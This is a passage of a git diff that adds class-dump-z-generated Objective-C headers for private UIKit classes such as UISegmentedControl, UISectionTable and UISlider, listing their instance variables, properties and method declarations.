+-(void)dealloc; +-(void)_updateImages; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchResultsTableView.h b/igor/headers/dumpedUIKit/UISearchResultsTableView.h new file mode 100644 index 0000000..3dd1020 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchResultsTableView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITableView.h" +#import "UIKit-Structs.h" + +@class UISearchDisplayController; + +__attribute__((visibility("hidden"))) +@interface UISearchResultsTableView : UITableView { +@private + UISearchDisplayController* _controller; +} +@property(assign, nonatomic) UISearchDisplayController* controller; +-(void)setContentOffset:(CGPoint)offset; +-(void)noteNumberOfRowsChanged; +-(float)_offsetForNoResultsMessage; +@end + diff --git a/igor/headers/dumpedUIKit/UISectionHeaderCell.h b/igor/headers/dumpedUIKit/UISectionHeaderCell.h new file mode 100644 index 0000000..ebe65aa --- /dev/null +++ b/igor/headers/dumpedUIKit/UISectionHeaderCell.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString; + +@interface UISectionHeaderCell : UIView { + NSString* _title; + struct { + unsigned style : 1; + unsigned reserved : 31; + } _sectionHeaderCellFlags; +} ++(id)defaultTitleFont; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setStyle:(int)style; +-(CGRect)_rectForTitle:(id)title; +-(void)setTitle:(id)title; +-(void)drawTitle:(id)title withColor:(id)color withShadowColor:(id)shadowColor inRect:(CGRect)rect; +-(void)drawTitle:(id)title inRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +-(id)title; +-(BOOL)isEqualToView:(id)view; +-(BOOL)_shouldTryPromoteDescendantToFirstResponder; +-(void)mouseUp:(GSEventRef)up; +@end + diff --git a/igor/headers/dumpedUIKit/UISectionIndex.h b/igor/headers/dumpedUIKit/UISectionIndex.h new file mode 100644 index 0000000..a8b04d7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISectionIndex.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UISectionTable; + +__attribute__((visibility("hidden"))) +@interface UISectionIndex : UIControl { +@private + UISectionTable* _sectionTable; + CGPoint _lastMousePoint; +} ++(float)visibleWidth; ++(float)opaqueVisibleWidth; +-(id)_sectionTitles; +-(id)initWithSectionTable:(id)sectionTable; +-(void)drawRect:(CGRect)rect; +-(id)_titleForPoint:(CGPoint)point pastTop:(BOOL*)top pastBottom:(BOOL*)bottom; +-(void)_scrollToClosestSectionAtPoint:(CGPoint)point; +-(void)noteIndexTitlesDidChangeInSectionList:(id)noteIndexTitles; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UISectionList.h b/igor/headers/dumpedUIKit/UISectionList.h new file mode 100644 index 0000000..b528e8b --- /dev/null +++ b/igor/headers/dumpedUIKit/UISectionList.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSMutableArray, UISectionIndex, UISectionTable, NSSet; + +@interface UISectionList : UIView { + UISectionTable* _table; + UISectionIndex* _index; + NSMutableArray* _titles; + NSSet* _indexTitlesAsSet; + int _sectionCount; + float _listWidth; + struct { + unsigned isTranslucent : 1; + } _sectionListFlags; +} ++(float)defaultIndexWidth; +-(id)initWithFrame:(CGRect)frame showSectionIndex:(BOOL)index; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setDataSource:(id)source; +-(float)marginForIndexControl:(BOOL)indexControl; +-(id)allTitles; +-(void)_languageChanged; +-(id)indexTitles; +-(void)setAllowsScrollIndicators:(BOOL)indicators; +-(void)setShouldHideHeaderInShortLists:(BOOL)hideHeaderInShortLists; +-(BOOL)showsSectionHeaders; +-(BOOL)showsSectionIndex; +-(void)setNonIndexedTitlesShownLast:(BOOL)last; +-(void)setSectionListStyle:(int)style; +-(void)noteIndexTitlesDidChange; +-(void)reloadData; +-(int)numberOfSections; +-(id)titleForSection:(int)section; +-(int)closestSectionForTitle:(id)title; +-(id)_indexTitlesAsSet; +-(void)_setIndexVisible:(BOOL)visible; +-(id)table; +@end + diff --git a/igor/headers/dumpedUIKit/UISectionRowData.h b/igor/headers/dumpedUIKit/UISectionRowData.h new file mode 100644 index 0000000..974cd51 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISectionRowData.h @@ -0,0 +1,44 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" +#import "NSCopying.h" + + +__attribute__((visibility("hidden"))) +@interface UISectionRowData : NSObject { +@private + BOOL _valid; + float _headerHeight; + float _footerHeight; + float _headerOffset; + float _footerOffset; + int _numRows; + int _arrayLength; + float* _rowHeights; + float* _rowOffsets; + float _sectionHeight; + BOOL _sectionOffsetValid; + float _sectionOffset; +} +-(void)dealloc; +-(void)invalidate; +-(void)invalidateSectionOffset; +-(float)_headerOrFooterSizeForTable:(id)table title:(id)title isHeader:(BOOL)header; +-(void)addOffset:(float)offset fromRow:(int)row; +-(void)setHeight:(float)height forRow:(int)row; +-(float)_defaultSectionHeaderHeightForSection:(int)section tableView:(id)view tableViewRowData:(id)data; +-(float)_defaultSectionFooterHeightForSection:(int)section tableView:(id)view tableViewRowData:(id)data; +-(void)refreshWithSection:(int)section tableView:(id)view tableViewRowData:(id)data; +-(void)insertRowAtIndex:(int)index inSection:(int)section rowHeight:(float)height tableViewRowData:(id)data; +-(void)deleteRowAtIndex:(int)index; +-(int)sectionLocationForRow:(int)row; +-(int)sectionLocationForReorderedRow:(int)reorderedRow; +-(id)copyWithZone:(NSZone*)zone; +@end + diff --git a/igor/headers/dumpedUIKit/UISectionTable.h b/igor/headers/dumpedUIKit/UISectionTable.h new file mode 100644 index 0000000..dd7e22a --- /dev/null +++ b/igor/headers/dumpedUIKit/UISectionTable.h @@ -0,0 +1,57 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITable.h" + +@class NSMutableArray, UISectionList; + +@interface UISectionTable : UITable { + UISectionList* _sectionList; + NSRange _visibleHeaders; + NSMutableArray* _visibleHeaderViews; + float _rightMargin; + NSMutableArray* _reusableHeaderCells; + NSMutableArray* _reusableTransparentHeaderCells; + int _reusableHeaderCapacity; + struct { + unsigned shouldSendTouchPauseUp : 1; + unsigned delegateViewHandleTapWithCountEvent : 1; + unsigned delegateViewHandleTapWithCountEventFingerCount : 1; + unsigned delegateViewHandleTouchPauseIsDown : 1; + unsigned reserved : 28; + } _sectionTableFlags; +} +-(id)initWithFrame:(CGRect)frame sectionList:(id)list; +-(id)initWithSize:(CGSize)size sectionList:(id)list; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)setDelegate:(id)delegate; +-(void)reloadData; +-(BOOL)floatArray:(id)array loadGapIndexes:(int*)indexes gapHeight:(float*)height count:(int)count; +-(void)floatArray:(id)array getValueCount:(int*)count gapIndexCount:(int*)count3; +-(id)createPreparedCellForRow:(int)row column:(int)column; +-(id)_createHeaderCellForHeaderAtIndex:(int)index width:(float)width opaque:(BOOL)opaque adjustOrigin:(BOOL)origin; +-(void)_removeHeaderCellsForRange:(NSRange)range; +-(void)_replaceCellWithTransparentOneGapIndex:(int)transparentOneGapIndex viewIndex:(int)index width:(float)width; +-(void)_replaceCellWithOpaqueOneGapIndex:(int)opaqueOneGapIndex viewIndex:(int)index width:(float)width; +-(BOOL)_shouldHideHeaders; +-(void)_updateShowScrollIndicatorsFlag; +-(void)_updateVisibleCellsNow; +-(BOOL)showsSectionHeaders; +-(void)scrollToSection:(int)section; +-(void)scrollToSectionWithTitle:(id)title; +-(void)scrollRowToVisible:(int)visible; +-(BOOL)sectionHeaderCellWasClicked:(id)clicked; +-(void)setRightMargin:(float)margin; +-(void)setAllowsScrollIndicators:(BOOL)indicators; +-(void)setShouldHideHeaderInShortLists:(BOOL)hideHeaderInShortLists; +-(void)setSectionListStyle:(int)style; +-(id)indexTitles; +-(void)_reloadRowHeights; +@end + diff --git a/igor/headers/dumpedUIKit/UISegment.h b/igor/headers/dumpedUIKit/UISegment.h new file mode 100644 index 0000000..4218e12 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISegment.h @@ -0,0 +1,71 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface UISegment : UIView { +@private + UIView* _info; + float _width; + CGSize _contentOffset; + UIColor* _tintColor; + int _barStyle; + struct { + unsigned style : 3; + unsigned size : 2; + unsigned selected : 1; + unsigned highlighted : 1; + unsigned showDivider : 1; + unsigned hasImage : 1; + unsigned isDisclosure : 1; + unsigned position : 3; + unsigned autosizeText : 1; + } _segmentFlags; +} +@property(assign) int controlSize; +@property(assign, getter=isHighlighted) BOOL highlighted; +@property(assign, getter=isSelected) BOOL selected; +-(id)initWithInfo:(id)info style:(int)style size:(int)size barStyle:(int)style4 tintColor:(id)color position:(unsigned)position isDisclosure:(BOOL)disclosure autosizeText:(BOOL)text; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)_dividerImageForRight:(BOOL)right; +-(void)insertDividerView; +-(void)updateDividerViewToMatchSegment:(id)matchSegment; +-(void)_tileImage:(id)image inRect:(CGRect)rect; +-(id)_texturedLeftCapImage; +-(id)_texturedRightCapImage; +-(id)_texturedFillImage; +-(void)_updateTexturedBackgroundImage; +-(void)_updateBackgroundImage; +-(void)_updateTextColors; +-(void)setBarStyle:(int)style; +-(void)setTintColor:(id)color; +-(void)setAutosizeText:(BOOL)text; +-(void)setEnabled:(BOOL)enabled; +-(void)setShowDivider:(BOOL)divider; +-(void)animateAdd:(BOOL)add; +-(void)animateRemoveForWidth:(float)width; +-(CGRect)contentRect; +-(CGSize)contentSize; +-(void)_positionInfo; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)setPosition:(unsigned)position; +-(void)setContentOffset:(CGSize)offset; +-(void)setInfo:(id)info; +-(id)info; +-(id)infoName; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UISegmentLabel.h b/igor/headers/dumpedUIKit/UISegmentLabel.h new file mode 100644 index 0000000..a2582bc --- /dev/null +++ b/igor/headers/dumpedUIKit/UISegmentLabel.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UILabel.h" + + +__attribute__((visibility("hidden"))) +@interface UISegmentLabel : UILabel { +@private + int _style; +} +-(id)initWithSegmentedControlStyle:(int)segmentedControlStyle; +-(id)_disabledFontColor; +@end + diff --git a/igor/headers/dumpedUIKit/UISegmentedControl.h b/igor/headers/dumpedUIKit/UISegmentedControl.h new file mode 100644 index 0000000..8912e92 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISegmentedControl.h @@ -0,0 +1,135 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "NSCoding.h" +#import "UISegmentedControl.h" + +@class UIColor, NSMutableArray; + +@interface UISegmentedControl : UIControl { + NSMutableArray* _segments; + int _selectedSegment; + int _highlightedSegment; + id _delegate; + UIColor* _tintColor; + int _barStyle; + struct { + unsigned style : 3; + unsigned size : 2; + unsigned showsDisclosure : 1; + unsigned delegateSelectedSegmentChanged : 1; + unsigned delegateDisclosureButtonClicked : 1; + unsigned delegateAlwaysNotifiesDelegateOfSegmentClicks : 1; + unsigned momentaryClick : 1; + unsigned dontAlwaysToggleForTwoSegments : 1; + unsigned tracking : 1; + unsigned mouseInside : 1; + unsigned autosizeToFitSegments : 1; + unsigned isSizingToFit : 1; + unsigned autosizeText : 1; + unsigned transparentBackground : 1; + } _segmentedControlFlags; +} +@property(retain, nonatomic) UIColor* tintColor; +@property(assign, nonatomic) int segmentedControlStyle; +@property(readonly, assign, nonatomic) unsigned numberOfSegments; +@property(assign, nonatomic, getter=isMomentary) BOOL momentary; +@property(assign, nonatomic) int selectedSegmentIndex; ++(float)defaultHeightForStyle:(int)style size:(int)size; ++(float)defaultHeightForStyle:(int)style; +-(void)updateForMiniBarState:(BOOL)miniBarState; +-(CGPoint)_offsetForMiniBarState:(BOOL)miniBarState; +-(void)_commonSegmentedControlInit; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithItems:(id)items; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(int)controlSize; +-(void)setControlSize:(int)size; +-(int)segmentControlStyle; +-(void)setSegmentControlStyle:(int)style; +-(void)setAlwaysToggleForTwoSegments:(BOOL)twoSegments; +-(void)_setAutosizeText:(BOOL)text; +-(void)setBarStyle:(int)style; +-(int)barStyle; +-(void)setTransparentBackground:(BOOL)background; +-(BOOL)transparentBackground; +-(void)insertSegmentWithTitle:(id)title atIndex:(unsigned)index animated:(BOOL)animated; +-(void)insertSegmentWithImage:(id)image atIndex:(unsigned)index animated:(BOOL)animated; +-(void)removeSegmentAtIndex:(unsigned)index animated:(BOOL)animated; +-(void)removeAllSegments; +-(void)setTitle:(id)title forSegmentAtIndex:(unsigned)index; +-(id)titleForSegmentAtIndex:(unsigned)index; +-(void)setImage:(id)image forSegmentAtIndex:(unsigned)index; +-(id)imageForSegmentAtIndex:(unsigned)index; +-(void)setWidth:(float)width forSegmentAtIndex:(unsigned)index; +-(float)widthForSegmentAtIndex:(unsigned)index; +-(void)setContentOffset:(CGSize)offset forSegmentAtIndex:(unsigned)index; +-(CGSize)contentOffsetForSegmentAtIndex:(unsigned)index; +-(void)setEnabled:(BOOL)enabled forSegmentAtIndex:(unsigned)index; +-(BOOL)isEnabledForSegmentAtIndex:(unsigned)index; +-(void)sizeToFit; +-(void)setFrame:(CGRect)frame; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)layoutSubviews; +-(BOOL)shouldTrack; +-(void)highlightSegment:(int)segment; +-(void)mouseDown:(GSEventRef)down; +-(BOOL)pointMostlyInside:(CGPoint)inside withEvent:(id)event; +-(BOOL)pointMostlyInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +@end + +@interface UISegmentedControl (SynthEvents) +-(id)scriptingInfoWithChildren; +@end + +@interface UISegmentedControl (DeprecatedMethods) ++(float)defaultHeight; +-(id)initWithFrame:(CGRect)frame withStyle:(int)style withItems:(id)items; +-(void)setDelegate:(id)delegate; +-(void)setShowsDisclosure:(BOOL)disclosure; +-(void)setMomentaryClick:(BOOL)click; +-(void)setAlwaysNotifiesDelegateOfSegmentClicks:(BOOL)segmentClicks; +-(void)setImagePadding:(CGSize)padding forSegment:(unsigned)segment; +-(void)selectSegment:(int)segment; +-(void)addSegmentWithTitle:(id)title; +-(void)insertSegment:(unsigned)segment withTitle:(id)title animated:(BOOL)animated; +-(void)insertSegment:(unsigned)segment withImage:(id)image animated:(BOOL)animated; +-(void)removeSegment:(unsigned)segment animated:(BOOL)animated; +-(void)setTitle:(id)title forSegment:(unsigned)segment; +-(id)titleForSegment:(unsigned)segment; +-(void)setImage:(id)image forSegment:(unsigned)segment; +-(id)imageForSegment:(unsigned)segment; +-(void)setWidth:(float)width forSegment:(unsigned)segment; +-(float)widthForSegment:(unsigned)segment; +-(void)setContentOffset:(CGSize)offset forSegment:(unsigned)segment; +-(CGSize)contentOffsetForSegment:(unsigned)segment; +-(void)setEnabled:(BOOL)enabled forSegment:(unsigned)segment; +-(BOOL)isEnabledForSegment:(unsigned)segment; +-(void)setSelectedSegment:(int)segment; +-(int)selectedSegment; +@end + +@interface UISegmentedControl (InterfaceBuilderSupport) +-(id)infoViewForSegment:(int)segment; +@end + +@interface UISegmentedControl (Static) +-(void)_createSegmentAtIndex:(int)index position:(unsigned)position withInfo:(id)info; +-(void)_insertSegment:(int)segment withInfo:(id)info animated:(BOOL)animated; +-(void)_clearSelectedSegment; +-(void)_removeSegmentAnimationFinished:(id)finished finished:(id)finished2 context:(void*)context; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectedItemPrivate.h b/igor/headers/dumpedUIKit/UISelectedItemPrivate.h new file mode 100644 index 0000000..8c4d154 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectedItemPrivate.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + + + +@protocol UISelectedItemPrivate +-(id)node; +-(BOOL)selected; +-(void)setSelected:(BOOL)selected; +-(void)unselect; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectionGrabber.h b/igor/headers/dumpedUIKit/UISelectionGrabber.h new file mode 100644 index 0000000..8935aa7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectionGrabber.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UISelectionGrabberDot, UITextRangeView; + +__attribute__((visibility("hidden"))) +@interface UISelectionGrabber : UIView { +@private + UISelectionGrabberDot* m_dotView; + BOOL m_isDotted; + BOOL m_isStart; + BOOL m_activeFlattened; + BOOL m_alertFlattened; + BOOL m_navigationTransitionFlattened; + BOOL m_animating; +} +@property(assign, nonatomic) BOOL isDotted; +@property(assign, nonatomic) BOOL isStart; +@property(assign, nonatomic) BOOL alertFlattened; +@property(assign, nonatomic) BOOL activeFlattened; +@property(assign, nonatomic) BOOL navigationTransitionFlattened; +@property(assign, nonatomic) BOOL animating; +@property(readonly, assign, nonatomic) UITextRangeView* hostView; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)mustFlattenForAlert:(id)alert; +-(void)canExpandAfterAlert:(id)alert; +-(void)mustFlattenForResignActive:(id)resignActive; +-(void)canExpandAfterBecomeActive:(id)active; +-(void)mustFlattenForNavigationTransition:(id)navigationTransition; +-(void)canExpandAfterNavigationTransition:(id)transition; +-(BOOL)isScrolling; +-(BOOL)isScaling; +-(BOOL)isRotating; +-(BOOL)autoscrolled; +-(id)enabledScroller; +-(void)setHidden:(BOOL)hidden; +-(void)removeFromSuperview; +-(void)updateDot; +-(void)didMoveToSuperview; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectionGrabberDot.h b/igor/headers/dumpedUIKit/UISelectionGrabberDot.h new file mode 100644 index 0000000..ed2b917 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectionGrabberDot.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UISelectionGrabber; + +__attribute__((visibility("hidden"))) +@interface UISelectionGrabberDot : UIView { +@private + UISelectionGrabber* m_grabber; +} +@property(assign, nonatomic) UISelectionGrabber* grabber; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(int)textEffectsVisibilityLevel; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectionIndicatorView.h b/igor/headers/dumpedUIKit/UISelectionIndicatorView.h new file mode 100644 index 0000000..3b42a93 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectionIndicatorView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UISelectionIndicatorView : UIView { +@private + UIImage* _image; + XXStruct_4cr1oD _slices; +} +-(id)initWithFrame:(CGRect)frame withImageName:(id)imageName; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectionPeripheral.h b/igor/headers/dumpedUIKit/UISelectionPeripheral.h new file mode 100644 index 0000000..4507274 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectionPeripheral.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIPickerViewDataSource.h" +#import "UIPickerView.h" +#import "UIKit-Structs.h" +#import "UIFormPeripheral.h" +#import "UIPickerViewDelegate.h" + +@class DOMHTMLSelectElement, NSMutableArray; +@protocol UISelectedItemPrivate; + +__attribute__((visibility("hidden"))) +@interface UISelectionPeripheral : UIPickerView { +@private + DOMHTMLSelectElement* _selectionNode; + id _selectedItem; + NSMutableArray* _cachedItems; + int _orientation; + unsigned _firstSelectedIndex; +} +@property(retain, nonatomic) DOMHTMLSelectElement* _selectionNode; +@property(retain, nonatomic) id _selectedItem; ++(id)createPeripheral; +-(id)initFormPeripheral; +-(void)dealloc; +-(id)peripheralFormNode; +-(BOOL)isKeyboard; +-(int)orientation; +-(void)beginEditing; +-(void)endEditing; +-(void)reset; +-(void)setPeripheralFormNode:(id)node; +-(void)pickerViewLoaded:(id)loaded; +-(id)pickerView:(id)view viewForRow:(int)row forComponent:(int)component reusingView:(id)view4; +-(int)numberOfComponentsInPickerView:(id)pickerView; +-(int)pickerView:(id)view numberOfRowsInComponent:(int)component; +-(void)pickerView:(id)view row:(int)row column:(int)column checked:(BOOL)checked; +-(float)pickerView:(id)view widthForComponent:(int)component; +@end + diff --git a/igor/headers/dumpedUIKit/UISelectionTapRecognizer.h b/igor/headers/dumpedUIKit/UISelectionTapRecognizer.h new file mode 100644 index 0000000..65d3ce1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISelectionTapRecognizer.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextTapRecognizer.h" + +@class UIView; +@protocol UITextSelectingContent; + +__attribute__((visibility("hidden"))) +@interface UISelectionTapRecognizer : UITextTapRecognizer { +@private + UIView* _textView; +} +@property(assign) UIView* textView; +-(BOOL)isCloseToSelection; +-(void)setState:(int)state; +@end + diff --git a/igor/headers/dumpedUIKit/UIShadowView.h b/igor/headers/dumpedUIKit/UIShadowView.h new file mode 100644 index 0000000..830ba38 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIShadowView.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIShadowView : UIView { +@private + UIImage* _image; +} ++(id)topShadowImage; ++(id)bottomShadowImage; +-(id)initWithFrame:(CGRect)frame; +-(BOOL)ignoresMouseEvents; +-(void)setShadowImage:(id)image forEdge:(int)edge inside:(BOOL)inside; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISimpleTableCell.h b/igor/headers/dumpedUIKit/UISimpleTableCell.h new file mode 100644 index 0000000..b7cc81e --- /dev/null +++ b/igor/headers/dumpedUIKit/UISimpleTableCell.h @@ -0,0 +1,42 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITableCell.h" + +@class NSString, UIImageView, UIFont; + +@interface UISimpleTableCell : UITableCell { +@private + UIFont* _font; + UIImageView* _iconImageView; + unsigned _indentationLevel; +@protected + NSString* _title; + int _titleColor; +} ++(id)defaultFont; +-(id)initWithFrame:(CGRect)frame; +-(void)setFont:(id)font; +-(id)font; +-(void)dealloc; +-(void)drawTitleInRect:(CGRect)rect selected:(BOOL)selected; +-(void)drawContentInRect:(CGRect)rect selected:(BOOL)selected; +-(void)setUserInteractionEnabled:(BOOL)enabled; +-(void)setTitle:(id)title; +-(id)title; +-(void)setTitleColor:(int)color; +-(id)iconImageView; +-(void)layoutSubviews; +-(void)setIcon:(id)icon; +-(id)icon; +-(void)setIndentationLevel:(unsigned)level; +-(unsigned)indentationLevel; +-(int)lineBreakMode; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UISlider.h b/igor/headers/dumpedUIKit/UISlider.h new file mode 100644 index 0000000..5e4f4f6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISlider.h @@ -0,0 +1,128 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "NSCoding.h" +#import "UISlider.h" + +@class UIImageView, UIImage; + +@interface UISlider : UIControl { +@private + float _value; + float _minValue; + float _maxValue; + CFDictionaryRef _contentLookup; + UIImageView* _minValueImageView; + UIImageView* _maxValueImageView; + UIImageView* _thumbView; + UIImageView* _minTrackView; + UIImageView* _maxTrackView; + struct { + unsigned pushedRunLoop : 1; + unsigned isRotatingRight : 1; + unsigned isZoomRubberBandEnabled : 1; + unsigned zoomsFromCurrentToMinOrMax : 1; + unsigned updatesScroller : 1; + unsigned isAnimatingZoomFailure : 1; + } _sliderFlags; + float _hitOffset; +} +@property(assign, nonatomic) float value; +@property(assign, nonatomic) float minimumValue; +@property(assign, nonatomic) float maximumValue; +@property(readonly, assign, nonatomic) UIImage* currentMaximumTrackImage; +@property(readonly, assign, nonatomic) UIImage* currentMinimumTrackImage; +@property(readonly, assign, nonatomic) UIImage* currentThumbImage; +@property(assign, nonatomic, getter=isContinuous) BOOL continuous; +@property(retain, nonatomic) UIImage* maximumValueImage; +@property(retain, nonatomic) UIImage* minimumValueImage; +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)_initImages; +-(void)_initSubviews; +-(void)dealloc; +-(void)setThumbImage:(id)image forState:(unsigned)state; +-(void)setMinimumTrackImage:(id)image forState:(unsigned)state; +-(void)setMaximumTrackImage:(id)image forState:(unsigned)state; +-(id)thumbImageForState:(unsigned)state; +-(id)minimumTrackImageForState:(unsigned)state; +-(id)maximumTrackImageForState:(unsigned)state; +-(CGRect)minimumValueImageRectForBounds:(CGRect)bounds; +-(CGRect)maximumValueImageRectForBounds:(CGRect)bounds; +-(CGRect)trackRectForBounds:(CGRect)bounds; +-(CGRect)thumbRectForBounds:(CGRect)bounds trackRect:(CGRect)rect value:(float)value; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)layoutSubviews; +-(void)_layoutSubviewsForBoundsChange:(BOOL)boundsChange; +-(void)_updateAppearanceForEnabled:(BOOL)enabled; 